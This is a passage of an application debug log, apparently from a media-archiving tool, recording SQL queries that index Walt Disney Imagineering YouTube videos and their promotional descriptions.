Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", nil, false, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, 2, ~U[2025-10-31 00:00:00Z]] 18:56:17.574 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.575 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-27 00:00:00Z], 2] 18:56:17.580 [debug] QUERY OK source="media_items" db=5.2ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "2cd85165-7d3a-4a81-adb3-48e25ee0ddf8", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", false, false, 15, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, false, 2, [], 98, ~U[2025-10-27 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", nil, false, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, 2, ~U[2025-10-27 00:00:00Z]] 18:56:17.581 [debug] QUERY OK source="sources" db=0.2ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.581 [debug] QUERY OK source="media_items" db=0.4ms idle=7.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-19 00:00:00Z], 2] 18:56:17.583 [debug] QUERY OK source="media_items" db=1.3ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "e10217e3-d563-4098-8723-86d046c523b2", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", false, false, 16, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, false, 2, [], 98, ~U[2025-10-19 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", nil, false, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, 2, ~U[2025-10-19 00:00:00Z]] 18:56:17.584 [debug] QUERY OK source="sources" db=0.1ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.584 [debug] QUERY OK source="media_items" db=0.4ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-06 00:00:00Z], 2] 18:56:17.591 [debug] QUERY OK source="media_items" db=6.4ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "4a56b832-62be-4c31-9a0e-e23fc3562821", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", false, false, 17, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, false, 2, [], 98, ~U[2025-10-06 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", nil, false, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, 2, ~U[2025-10-06 00:00:00Z]] 18:56:17.591 [debug] QUERY OK source="sources" db=0.1ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.592 [debug] QUERY OK source="media_items" db=0.4ms idle=8.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-29 00:00:00Z], 2] 18:56:17.594 [debug] QUERY OK source="media_items" db=1.0ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "54b67867-b614-46f2-8c04-5cb76603bdec", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", false, false, 18, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, false, 2, [], 98, ~U[2025-09-29 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 Step Inside Imagineering\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", nil, false, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].NA", false, 2, ~U[2025-09-29 00:00:00Z]] 18:56:17.594 [debug] QUERY OK source="sources" db=0.2ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.595 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 00:00:00Z], 2] 18:56:17.596 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ What to expect\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, 